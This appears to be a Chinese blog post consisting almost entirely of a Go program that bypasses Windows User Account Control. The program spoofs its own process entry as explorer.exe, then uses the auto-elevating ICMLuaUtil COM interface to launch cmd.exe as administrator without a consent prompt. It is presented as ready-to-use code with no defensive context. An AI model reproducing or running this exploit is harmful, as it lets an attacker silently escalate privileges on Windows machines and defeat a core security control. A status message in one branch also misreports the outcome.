golang实现普通升管理员权限

发布于:2024-05-16 ⋅ 阅读:(62) ⋅ 点赞:(0)

golang实现普通升管理员权限

package main

import (
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
	"golang.org/x/sys/windows/registry"
)

var (
	modntdll = windows.NewLazySystemDLL("ntdll.dll")
	modole32 = windows.NewLazySystemDLL("ole32.dll")

	procRtlInitUnicodeString = modntdll.NewProc("RtlInitUnicodeString")
	procRtlGetCurrentPeb     = modntdll.NewProc("RtlGetCurrentPeb")
	procCoInitializeEx       = modole32.NewProc("CoInitializeEx")
	procCoUninitialize       = modole32.NewProc("CoUninitialize")
	procCoGetObject          = modole32.NewProc("CoGetObject")
)

type cBIND_OPTS3 struct {
	cbStruct            uint32
	grfFlags            uint32
	grfMode             uint32
	dwTickCountDeadline uint32
	dwTrackFlags        uint32
	dwClassContext      uint32
	locale              uint32
	pServerInfo         *uintptr
	hwnd                *uintptr
}

const (
	releaseOffset      = 2
	shellExecuteOffset = 9

	cSEE_MASK_DEFAULT = 0
)

type cUNICODE_STRING struct {
	Length        uint16
	MaximumLength uint16
	Buffer        *uint16
}

type cLIST_ENTRY struct {
	Flink *cLIST_ENTRY
	Blink *cLIST_ENTRY
}

/* The below three structs have several "reserved" members. These are of course well-known and extensively reverse-
 * engineered, but the below shows only the documented and therefore stable fields from Microsoft's winternl.h header */

type cLDR_DATA_TABLE_ENTRY struct {
	Reserved1          [2]uintptr
	InMemoryOrderLinks cLIST_ENTRY
	Reserved2          [2]uintptr
	DllBase            uintptr
	Reserved3          [2]uintptr
	FullDllName        cUNICODE_STRING
	Reserved4          [8]byte
	Reserved5          [3]uintptr
	Reserved6          uintptr
	TimeDateStamp      uint32
}

type cPEB_LDR_DATA struct {
	Reserved1               [8]byte
	Reserved2               [3]uintptr
	InMemoryOrderModuleList cLIST_ENTRY
}

type cPEB struct {
	Reserved1              [2]byte
	BeingDebugged          byte
	Reserved2              [1]byte
	Reserved3              uintptr
	ImageBaseAddress       uintptr
	Ldr                    *cPEB_LDR_DATA
	ProcessParameters      uintptr
	Reserved4              [3]uintptr
	AtlThunkSListPtr       uintptr
	Reserved5              uintptr
	Reserved6              uint32
	Reserved7              uintptr
	Reserved8              uint32
	AtlThunkSListPtr32     uint32
	Reserved9              [45]uintptr
	Reserved10             [96]byte
	PostProcessInitRoutine uintptr
	Reserved11             [128]byte
	Reserved12             [1]uintptr
	SessionId              uint32
}

const (
	// winuser.h
	SW_HIDE            = 0
	SW_NORMAL          = 1
	SW_SHOWNORMAL      = 1
	SW_SHOWMINIMIZED   = 2
	SW_SHOWMAXIMIZED   = 3
	SW_MAXIMIZE        = 3
	SW_SHOWNOACTIVATE  = 4
	SW_SHOW            = 5
	SW_MINIMIZE        = 6
	SW_SHOWMINNOACTIVE = 7
	SW_SHOWNA          = 8
	SW_RESTORE         = 9
	SW_SHOWDEFAULT     = 10
	SW_FORCEMINIMIZE   = 11
)
const (
	cCLSCTX_LOCAL_SERVER      = 4
	cCOINIT_APARTMENTTHREADED = 2
)

func rtlInitUnicodeString(destinationString *cUNICODE_STRING, sourceString *uint16) {
	syscall.Syscall(procRtlInitUnicodeString.Addr(), 2, uintptr(unsafe.Pointer(destinationString)), uintptr(unsafe.Pointer(sourceString)), 0)
	return
}
func rtlGetCurrentPeb() (peb *cPEB) {
	r0, _, _ := syscall.Syscall(procRtlGetCurrentPeb.Addr(), 0, 0, 0, 0)
	peb = (*cPEB)(unsafe.Pointer(r0))
	return
}
func coInitializeEx(reserved uintptr, coInit uint32) (ret error) {
	r0, _, _ := syscall.Syscall(procCoInitializeEx.Addr(), 2, uintptr(reserved), uintptr(coInit), 0)
	if r0 != 0 {
		ret = syscall.Errno(r0)
	}
	return
}
func coGetObject(name *uint16, bindOpts *cBIND_OPTS3, guid *windows.GUID, functionTable ***[0xffff]uintptr) (ret error) {
	r0, _, _ := syscall.Syscall6(procCoGetObject.Addr(), 4, uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(bindOpts)), uintptr(unsafe.Pointer(guid)), uintptr(unsafe.Pointer(functionTable)), 0, 0)
	if r0 != 0 {
		ret = syscall.Errno(r0)
	}
	return
}
func coUninitialize() {
	syscall.Syscall(procCoUninitialize.Addr(), 0, 0, 0, 0)
	return
}
func OpenCurrentProcessToken() (windows.Token, error) {
	p := windows.CurrentProcess()

	var t windows.Token
	e := windows.OpenProcessToken(p, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &t)
	if e != nil {
		return 0, e
	}
	return t, nil
}

// 检查是否为内置管理成员
func isAdmin(token windows.Token) bool {
	builtinAdminsGroup, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)
	if err != nil {
		return false
	}
	var checkableToken windows.Token
	err = windows.DuplicateTokenEx(token, windows.TOKEN_QUERY|windows.TOKEN_IMPERSONATE, nil, windows.SecurityIdentification, windows.TokenImpersonation, &checkableToken)
	if err != nil {
		return false
	}
	defer checkableToken.Close()
	isAdmin, err := checkableToken.IsMember(builtinAdminsGroup)
	return isAdmin && err == nil
}
func TokenIsElevatedOrElevatable(token windows.Token) bool {
	if token.IsElevated() && isAdmin(token) {
		return true
	}
	linked, err := token.GetLinkedToken()
	if err != nil {
		return false
	}
	defer linked.Close()
	return linked.IsElevated() && isAdmin(linked)
}

func findCurrentDataTableEntry() (entry *cLDR_DATA_TABLE_ENTRY, err error) {
	peb := rtlGetCurrentPeb()
	if peb == nil || peb.Ldr == nil {
		err = windows.ERROR_INVALID_ADDRESS
		return
	}
	for cur := peb.Ldr.InMemoryOrderModuleList.Flink; cur != &peb.Ldr.InMemoryOrderModuleList; cur = cur.Flink {
		entry = (*cLDR_DATA_TABLE_ENTRY)(unsafe.Pointer(uintptr(unsafe.Pointer(cur)) - unsafe.Offsetof(cLDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks)))
		if entry.DllBase == peb.ImageBaseAddress {
			return
		}
	}
	entry = nil
	err = windows.ERROR_OBJECT_NOT_FOUND
	return
}
func main() {
	//获取进程Token

	processToken, err := OpenCurrentProcessToken() //TODO: Change to windows.OpenCurrentProcessToken once https://go-review.googlesource.com/c/sys/+/192337 lands
	if err != nil {
		return
	}
	defer processToken.Close()
	// //判断当前进程是否可以升权
	if processToken.IsElevated() {
		fmt.Println("你已经是管理员!!")
		return
	}
	if !TokenIsElevatedOrElevatable(processToken) {
		fmt.Println("你已经是管理员!!")
		err = windows.ERROR_ACCESS_DENIED
		return
	}
	//检查UAC是否开启
	key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", registry.QUERY_VALUE)
	if err != nil {
		return
	}
	promptBehavior, _, err := key.GetIntegerValue("ConsentPromptBehaviorAdmin")
	key.Close()
	if err != nil {
		return
	}
	if uint32(promptBehavior) == 0 {
		fmt.Println("关闭了UAC")
		err = windows.ERROR_SUCCESS
		return
	}
	if uint32(promptBehavior) != 5 {
		fmt.Println("UAC权限太高无法提权")
		err = windows.ERROR_ACCESS_DENIED
		return
	}
	key, err = registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\UAC\\COMAutoApprovalList", registry.QUERY_VALUE)
	if err == nil {
		var autoApproved uint64
		autoApproved, _, err = key.GetIntegerValue("{3E5FC7F9-9A51-4367-9063-A120244FBEC7}")
		key.Close()
		if err != nil {
			return
		}
		if uint32(autoApproved) == 0 {
			err = windows.ERROR_ACCESS_DENIED
			return
		}
	}
	dataTableEntry, err := findCurrentDataTableEntry()
	if err != nil {
		return
	}
	windowsDirectory, err := windows.GetSystemWindowsDirectory()
	if err != nil {
		fmt.Println("err", err)
		return
	}
	originalPath := dataTableEntry.FullDllName.Buffer
	explorerPath := windows.StringToUTF16Ptr(filepath.Join(windowsDirectory, "explorer.exe"))
	rtlInitUnicodeString(&dataTableEntry.FullDllName, explorerPath)
	defer func() {
		rtlInitUnicodeString(&dataTableEntry.FullDllName, originalPath)
		runtime.KeepAlive(explorerPath)
	}()

	if err = coInitializeEx(0, cCOINIT_APARTMENTTHREADED); err == nil {
		defer coUninitialize()
	}

	var interfacePointer **[0xffff]uintptr
	//使用CoGetObject方法获取ICMLuaUtil接口的实例
	if err = coGetObject(
		windows.StringToUTF16Ptr("Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"),
		&cBIND_OPTS3{
			cbStruct:       uint32(unsafe.Sizeof(cBIND_OPTS3{})),
			dwClassContext: cCLSCTX_LOCAL_SERVER,
		},
		&windows.GUID{0x6EDD6D74, 0xC007, 0x4E75, [8]byte{0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}},
		&interfacePointer,
	); err != nil {
		return
	}
	exePath, _ := windows.UTF16PtrFromString("cmd.exe")
	arguments, _ := windows.UTF16PtrFromString("")
	pwd, _ := os.Getwd()
	workDir, _ := windows.UTF16PtrFromString(pwd)
	defer syscall.Syscall((*interfacePointer)[releaseOffset], 1, uintptr(unsafe.Pointer(interfacePointer)), 0, 0)
	if ret, _, _ := syscall.Syscall6((*interfacePointer)[shellExecuteOffset], 6,
		uintptr(unsafe.Pointer(interfacePointer)),
		uintptr(unsafe.Pointer(exePath)),
		uintptr(unsafe.Pointer(arguments)),
		uintptr(unsafe.Pointer(workDir)),
		cSEE_MASK_DEFAULT,
		uintptr(SW_SHOW),
	); ret != uintptr(windows.ERROR_SUCCESS) {
		err = syscall.Errno(ret)
		return
	}

	err = nil
}